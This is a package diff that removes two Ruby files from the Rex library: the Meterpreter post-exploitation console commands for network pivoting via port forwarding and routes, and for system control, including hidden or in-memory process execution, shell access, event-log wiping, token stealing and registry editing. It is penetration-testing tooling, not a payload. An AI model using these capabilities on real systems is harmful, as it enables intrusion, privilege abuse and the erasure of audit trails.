librex 0.0.13 → 0.0.15

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb

@@ -1,298 +0,0 @@
-require 'rex/post/meterpreter'
-require 'rex/service_manager'
-
-module Rex
-module Post
-module Meterpreter
-module Ui
-
-###
-#
-# The networking portion of the standard API extension.
-#
-###
-class Console::CommandDispatcher::Stdapi::Net
-
-	Klass = Console::CommandDispatcher::Stdapi::Net
-
-	include Console::CommandDispatcher
-
-	#
-	# This module is used to extend the meterpreter session
-	# so that local port forwards can be tracked and cleaned
-	# up when the meterpreter session goes away
-	#
-	module PortForwardTracker
-		def cleanup
-			super
-
-			if pfservice
-				pfservice.deref
-			end
-		end
-
-		attr_accessor :pfservice
-	end
-
-	#
-	# Options for the route command.
-	#
-	@@route_opts = Rex::Parser::Arguments.new(
-		"-h" => [ false, "Help banner." ])
-
-	#
-	# Options for the portfwd command.
-	#
-	@@portfwd_opts = Rex::Parser::Arguments.new(
-		"-h" => [ false, "Help banner." ],
-		"-l" => [ true,  "The local port to listen on." ],
-		"-r" => [ true,  "The remote host to connect to." ],
-		"-p" => [ true,  "The remote port to connect to." ],
-		"-L" => [ true,  "The local host to listen on (optional)." ])
-
-	#
-	# List of supported commands.
-	#
-	def commands
-		{
-			"ipconfig" => "Display interfaces",
-			"route"    => "View and modify the routing table",
-			"portfwd"  => "Forward a local port to a remote service",
-		}
-	end
-
-	#
-	# Name for this dispatcher.
-	#
-	def name
-		"Stdapi: Networking"
-	end
-
-	#
-	# Displays interfaces on the remote machine.
-	#
-	def cmd_ipconfig(*args)
-		ifaces = client.net.config.interfaces
-
-		if (ifaces.length == 0)
-			print_line("No interfaces were found.")
-		else
-			client.net.config.each_interface { |iface|
-				print("\n" + iface.pretty + "\n")
-			}
-		end
-	end
-
-	#
-	# Displays or modifies the routing table on the remote machine.
-	#
-	def cmd_route(*args)
-		# Default to list
-		if (args.length == 0)
-			args.unshift("list")
-		end
-
-		# Check to see if they specified -h
-		@@route_opts.parse(args) { |opt, idx, val|
-			case opt
-				when "-h"
-					print(
-						"Usage: route [-h] command [args]\n\n" +
-						"Display or modify the routing table on the remote machine.\n\n" +
-						"Supported commands:\n\n" +
-						"   add    [subnet] [netmask] [gateway]\n" +
-						"   delete [subnet] [netmask] [gateway]\n" +
-						"   list\n\n")
-					return true
-			end
-		}
-
-		cmd = args.shift
-
-		# Process the commands
-		case cmd
-			when "list"
-				routes = client.net.config.routes
-
-				if (routes.length == 0)
-					print_line("No routes were found.")
-				else
-					tbl = Rex::Ui::Text::Table.new(
-						'Header'  => "Network routes",
-						'Indent'  => 4,
-						'Columns' =>
-							[
-								"Subnet",
-								"Netmask",
-								"Gateway"
-							])
-
-					routes.each { |route|
-						tbl << [ route.subnet, route.netmask, route.gateway ]
-					}
-
-					print("\n" + tbl.to_s + "\n")
-				end
-			when "add"
-                        	# Satisfy check to see that formatting is correct
-                                unless Rex::Socket::RangeWalker.new(args[0]).length == 1
-                                        print_error "Invalid IP Address"
-                                        return false
-                                end
-
-                                unless Rex::Socket::RangeWalker.new(args[1]).length == 1
-                                        print_error "Invalid Subnet mask"
-                                        return false
-                                end
-			
-				print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}")
-
-				client.net.config.add_route(*args)
-			when "delete"
-			        # Satisfy check to see that formatting is correct
-                                unless Rex::Socket::RangeWalker.new(args[0]).length == 1
-                                        print_error "Invalid IP Address"
-                                        return false
-                                end
-
-                                unless Rex::Socket::RangeWalker.new(args[1]).length == 1
-                                        print_error "Invalid Subnet mask"
-                                        return false
-                                end
-			
-				print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}")
-
-				client.net.config.remove_route(*args)
-			else
-				print_error("Unsupported command: #{cmd}")
-		end
-	end
-
-	#
-	# Starts and stops local port forwards to remote hosts on the target
-	# network.  This provides an elementary pivoting interface.
-	#
-	def cmd_portfwd(*args)
-		args.unshift("list") if args.empty?
-
-		# For clarity's sake.
-		lport = nil
-		lhost = nil
-		rport = nil
-		rhost = nil
-
-		# Parse the options
-		@@portfwd_opts.parse(args) { |opt, idx, val|
-			case opt
-				when "-h"
-					cmd_portfwd_help
-					return true
-				when "-l"
-					lport = val.to_i
-				when "-L"
-					lhost = val
-				when "-p"
-					rport = val.to_i
-				when "-r"
-					rhost = val
-			end
-		}
-
-		# If we haven't extended the session, then do it now since we'll
-		# need to track port forwards
-		if client.kind_of?(PortForwardTracker) == false
-			client.extend(PortForwardTracker)
-			client.pfservice = Rex::ServiceManager.start(Rex::Services::LocalRelay)
-		end
-
-		# Build a local port forward in association with the channel
-		service = client.pfservice
-
-		# Process the command
-		case args.shift
-			when "list"
-
-				cnt = 0
-
-				# Enumerate each TCP relay
-				service.each_tcp_relay { |lhost, lport, rhost, rport, opts|
-					next if (opts['MeterpreterRelay'] == nil)
-
-					print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}")
-
-					cnt += 1
-				}
-
-				print_line
-				print_line("#{cnt} total local port forwards.")
-
-
-			when "add"
-
-				# Validate parameters
-				if (!lport or !rhost or !rport)
-					print_error("You must supply a local port, remote host, and remote port.")
-					return
-				end
-
-				# Start the local TCP relay in association with this stream
-				service.start_tcp_relay(lport,
-					'LocalHost'         => lhost,
-					'PeerHost'          => rhost,
-					'PeerPort'          => rport,
-					'MeterpreterRelay'  => true,
-					'OnLocalConnection' => Proc.new { |relay, lfd|
-						create_tcp_channel(relay)
-						})
-
-				print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}")
-
-			# Delete local port forwards
-			when "delete"
-
-				# No local port, no love.
-				if (!lport)
-					print_error("You must supply a local port.")
-					return
-				end
-
-				# Stop the service
-				if (service.stop_tcp_relay(lport, lhost))
-					print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
-				else
-					print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
-				end
-
-			else
-				cmd_portfwd_help
-		end
-	end
-
-	def cmd_portfwd_help
-		print_line "Usage: portfwd [-h] [add / delete / list] [args]"
-		print_line
-		print @@portfwd_opts.usage
-	end
-
-protected
-
-	#
-	# Creates a TCP channel using the supplied relay context.
-	#
-	def create_tcp_channel(relay)
-		client.net.socket.create(
-			Rex::Socket::Parameters.new(
-				'PeerHost' => relay.opts['PeerHost'],
-				'PeerPort' => relay.opts['PeerPort'],
-				'Proto'    => 'tcp'
-			)
-		)
-	end
-
-end
-
-end
-end
-end
-end
-

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

@@ -1,486 +0,0 @@
-require 'rex/post/meterpreter'
-
-module Rex
-module Post
-module Meterpreter
-module Ui
-
-###
-#
-# The system level portion of the standard API extension.
-#
-###
-class Console::CommandDispatcher::Stdapi::Sys
-
-	Klass = Console::CommandDispatcher::Stdapi::Sys
-
-	include Console::CommandDispatcher
-
-	#
-	# Options used by the 'execute' command.
-	#
-	@@execute_opts = Rex::Parser::Arguments.new(
-		"-a" => [ true,  "The arguments to pass to the command."                   ],
-		"-c" => [ false, "Channelized I/O (required for interaction)."             ],
-		"-f" => [ true,  "The executable command to run."                          ],
-		"-h" => [ false, "Help menu."                                              ],
-		"-H" => [ false, "Create the process hidden from view."                    ],
-		"-i" => [ false, "Interact with the process after creating it."            ],
-		"-m" => [ false, "Execute from memory."                                    ],
-		"-d" => [ true,  "The 'dummy' executable to launch when using -m."         ],
-		"-t" => [ false, "Execute process with currently impersonated thread token"],
-		"-k" => [ false, "Execute process on the meterpreters current desktop"     ],
-		"-s" => [ true,  "Execute process in a given session as the session user"  ])
-
-	#
-	# Options used by the 'reg' command.
-	#
-	@@reg_opts = Rex::Parser::Arguments.new(
-		"-d" => [ true,  "The data to store in the registry value."                ],
-		"-h" => [ true,  "Help menu."                                              ],
-		"-k" => [ true,  "The registry key path (E.g. HKLM\\Software\\Foo)."       ],
-		"-t" => [ true,  "The registry value type (E.g. REG_SZ)."                  ],
-		"-v" => [ true,  "The registry value name (E.g. Stuff)."                   ])
-
-	#
-	# List of supported commands.
-	#
-	def commands
-		{
-			"clearev"  => "Clear the event log",
-			"execute"  => "Execute a command",
-			"getpid"   => "Get the current process identifier",
-			"getuid"   => "Get the user that the server is running as",
-			"getprivs" => "Get as many privileges as possible",
-			"kill"     => "Terminate a process",
-			"ps"       => "List running processes",
-			"reboot"   => "Reboots the remote computer",
-			"reg"      => "Modify and interact with the remote registry",
-			"rev2self" => "Calls RevertToSelf() on the remote machine",
-			"sysinfo"  => "Gets information about the remote system, such as OS",
-			"shell"    => "Drop into a system command shell",
-			"shutdown" => "Shuts down the remote computer",
-			"steal_token" => "Attempts to steal an impersonation token from the target process",
-			"drop_token"  => "Relinquishes any active impersonation token.",
-		}
-	end
-
-	#
-	# Name for this dispatcher.
-	#
-	def name
-		"Stdapi: System"
-	end
-
-	#
-	# Executes a command with some options.
-	#
-	def cmd_execute(*args)
-		if (args.length == 0)
-			args.unshift("-h")
-		end
-
-		session     = nil
-		interact    = false
-		desktop     = false
-		channelized = nil
-		hidden      = nil
-		from_mem    = false
-		dummy_exec  = "cmd"
-		cmd_args    = nil
-		cmd_exec    = nil
-		use_thread_token = false
-
-		@@execute_opts.parse(args) { |opt, idx, val|
-			case opt
-				when "-a"
-					cmd_args = val
-				when "-c"
-					channelized = true
-				when "-f"
-					cmd_exec = val
-				when "-H"
-					hidden = true
-				when "-m"
-					from_mem = true
-				when "-d"
-					dummy_exec = val
-				when "-k"
-					desktop = true
-				when "-h"
-					print(
-						"Usage: execute -f file [options]\n\n" +
-						"Executes a command on the remote machine.\n" +
-						@@execute_opts.usage)
-					return true
-				when "-i"
-					channelized = true
-					interact = true
-				when "-t"
-					use_thread_token = true
-				when "-s"
-					session = val.to_i
-			end
-		}
-
-		# Did we at least get an executable?
-		if (cmd_exec == nil)
-			print_error("You must specify an executable file with -f")
-			return true
-		end
-
-		# Execute it
-		p = client.sys.process.execute(cmd_exec, cmd_args,
-			'Channelized' => channelized,
-			'Desktop'     => desktop,
-			'Session'     => session,
-			'Hidden'      => hidden,
-			'InMemory'    => (from_mem) ? dummy_exec : nil,
-			'UseThreadToken' => use_thread_token)
-
-		print_line("Process #{p.pid} created.")
-		print_line("Channel #{p.channel.cid} created.") if (p.channel)
-
-		if (interact and p.channel)
-			shell.interact_with_channel(p.channel)
-		end
-	end
-
-
-	#
-	# Drop into a system shell as specified by %COMSPEC%
-	#
-	def cmd_shell(*args)
-		path = client.fs.file.expand_path("%COMSPEC%")
-		path = (path and not path.empty?) ? path : "cmd.exe"
-		cmd_execute("-f", path, "-c", "-H", "-i", "-t")
-	end
-
-
-	#
-	# Gets the process identifier that meterpreter is running in on the remote
-	# machine.
-	#
-	def cmd_getpid(*args)
-		print_line("Current pid: #{client.sys.process.getpid}")
-
-		return true
-	end
-
-	#
-	# Displays the user that the server is running as.
-	#
-	def cmd_getuid(*args)
-		print_line("Server username: #{client.sys.config.getuid}")
-	end
-
-	#
-	# Clears the event log
-	#
-	def cmd_clearev(*args)
-
-		logs = ['Application', 'System', 'Security']
-		logs << args
-		logs.flatten!
-
-		logs.each do |name|
-			log = client.sys.eventlog.open(name)
-			print_status("Wiping #{log.length} records from #{name}...")
-			log.clear
-		end
-	end
-
-	#
-	# Kills one or more processes.
-	#
-	def cmd_kill(*args)
-		if (args.length == 0)
-			print_line(
-				"Usage: kill pid1 pid2 pid3 ...\n\n" +
-				"Terminate one or more processes.")
-			return true
-		end
-
-		print_line("Killing: #{args.join(", ")}")
-
-		client.sys.process.kill(*(args.map { |x| x.to_i }))
-
-		return true
-	end
-
-	#
-	# Lists running processes.
-	#
-	def cmd_ps(*args)
-		processes = client.sys.process.get_processes
-		tbl = Rex::Ui::Text::Table.new(
-			'Header'  => "Process list",
-			'Indent'  => 1,
-			'Columns' =>
-				[
-					"PID",
-					"Name",
-					"Arch",
-					"Session",
-					"User",
-					"Path"
-				])
-
-		processes.each { |ent|
-
-			session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s
-			arch    = ent['arch']
-
-			# for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64'
-			if( arch == ARCH_X86_64 )
-				arch = "x64"
-			end
-
-			tbl << [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ]
-		}
-
-		if (processes.length == 0)
-			print_line("No running processes were found.")
-		else
-			print("\n" + tbl.to_s + "\n")
-		end
-
-		return true
-	end
-
-	#
-	# Reboots the remote computer.
-	#
-	def cmd_reboot(*args)
-		print_line("Rebooting...")
-
-		client.sys.power.reboot
-	end
-
-	#
-	# Modifies and otherwise interacts with the registry on the remote computer
-	# by allowing the client to enumerate, open, modify, and delete registry
-	# keys and values.
-	#
-	def cmd_reg(*args)
-		# Extract the command, if any
-		cmd = args.shift
-
-		if (args.length == 0)
-			args.unshift("-h")
-		end
-
-		# Initiailze vars
-		key   = nil
-		value = nil
-		data  = nil
-		type  = nil
-
-		@@reg_opts.parse(args) { |opt, idx, val|
-			case opt
-				when "-h"
-					print_line(
-						"Usage: reg [command] [options]\n\n" +
-						"Interact with the target machine's registry.\n" +
-						@@reg_opts.usage +
-						"COMMANDS:\n\n" +
-						"    enumkey    Enumerate the supplied registry key [-k <key>]\n" +
-						"    createkey  Create the supplied registry key  [-k <key>]\n" +
-						"    deletekey  Delete the supplied registry key  [-k <key>]\n" +
-						"    queryclass Queries the class of the supplied key [-k <key>]\n" +
-						"    setval     Set a registry value [-k <key> -v <val> -d <data>]\n" +
-						"    deleteval  Delete the supplied registry value [-k <key> -v <val>]\n" +
-						"    queryval   Queries the data contents of a value [-k <key> -v <val>]\n\n")
-					return false
-				when "-k"
-					key   = val
-				when "-v"
-					value = val
-				when "-t"
-					type  = val
-				when "-d"
-					data  = val
-			end
-		}
-
-		# All commands require a key.
-		if (key == nil)
-			print_error("You must specify a key path (-k)")
-			return false
-		end
-
-		# Split the key into its parts
-		root_key, base_key = client.sys.registry.splitkey(key)
-
-		begin
-			# Rock it
-			case cmd
-				when "enumkey"
-					open_key = client.sys.registry.open_key(root_key, base_key)
-
-					print_line(
-						"Enumerating: #{key}\n")
-
-					keys = open_key.enum_key
-					vals = open_key.enum_value
-
-					if (keys.length > 0)
-						print_line("  Keys (#{keys.length}):\n")
-
-						keys.each { |subkey|
-							print_line("\t#{subkey}")
-						}
-
-						print_line
-					end
-
-					if (vals.length > 0)
-						print_line("  Values (#{vals.length}):\n")
-
-						vals.each { |val|
-							print_line("\t#{val.name}")
-						}
-
-						print_line
-					end
-
-					if (vals.length == 0 and keys.length == 0)
-						print_line("No children.")
-					end
-
-				when "createkey"
-					open_key = client.sys.registry.create_key(root_key, base_key)
-
-					print_line("Successfully created key: #{key}")
-
-				when "deletekey"
-					client.sys.registry.delete_key(root_key, base_key)
-
-					print_line("Successfully deleted key: #{key}")
-
-				when "setval"
-					if (value == nil or data == nil)
-						print_error("You must specify both a value name and data (-v, -d).")
-						return false
-					end
-
-					type = "REG_SZ" if (type == nil)
-
-					open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
-
-					open_key.set_value(value, client.sys.registry.type2str(type), data)
-
-					print_line("Successful set #{value}.")
-
-				when "deleteval"
-					if (value == nil)
-						print_error("You must specify a value name (-v).")
-						return false
-					end
-
-					open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
-
-					open_key.delete_value(value)
-
-					print_line("Successfully deleted #{value}.")
-
-				when "queryval"
-					if (value == nil)
-						print_error("You must specify a value name (-v).")
-						return false
-					end
-
-					open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
-
-					v = open_key.query_value(value)
-
-					print(
-						"Key: #{key}\n" +
-						"Name: #{v.name}\n" +
-						"Type: #{v.type_to_s}\n" +
-						"Data: #{v.data}\n")
-
-				when "queryclass"
-					open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
-
-					data = open_key.query_class
-
-					print("Data: #{data}\n")
-				else
-					print_error("Invalid command supplied: #{cmd}")
-			end
-		ensure
-			open_key.close if (open_key)
-		end
-	end
-
-	#
-	# Calls RevertToSelf() on the remote machine.
-	#
-	def cmd_rev2self(*args)
-		client.sys.config.revert_to_self
-	end
-
-	#
-	# Obtains as many privileges as possible on the target machine.
-	#
-	def cmd_getprivs(*args)
-		print_line("=" * 60)
-		print_line("Enabled Process Privileges")
-		print_line("=" * 60)
-		client.sys.config.getprivs.each do |priv|
-			print_line("  #{priv}")
-		end
-		print_line("")
-	end
-
-	#
-	# Tries to steal the primary token from the target process.
-	#
-	def cmd_steal_token(*args)
-		if(args.length != 1 or args[0] == "-h")
-			print_error("Usage: steal_token [pid]")
-			return
-		end
-		print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
-	end
-
-	#
-	# Drops any assumed token.
-	#
-	def cmd_drop_token(*args)
-		print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
-	end
-
-	#
-	# Displays information about the remote system.
-	#
-	def cmd_sysinfo(*args)
-		info = client.sys.config.sysinfo
-		width = "Meterpreter".length
-		info.keys.each { |k| width = k.length if k.length > width and info[k] }
-
-		info.each_pair do |key, value|
-			print_line("#{key.ljust(width+1)}: #{value}") if value
-		end
-		print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")
-
-		return true
-	end
-
-	#
-	# Shuts down the remote computer.
-	#
-	def cmd_shutdown(*args)
-		print_line("Shutting down...")
-
-		client.sys.power.shutdown
-	end
-
-end
-
-end
-end
-end
-end
-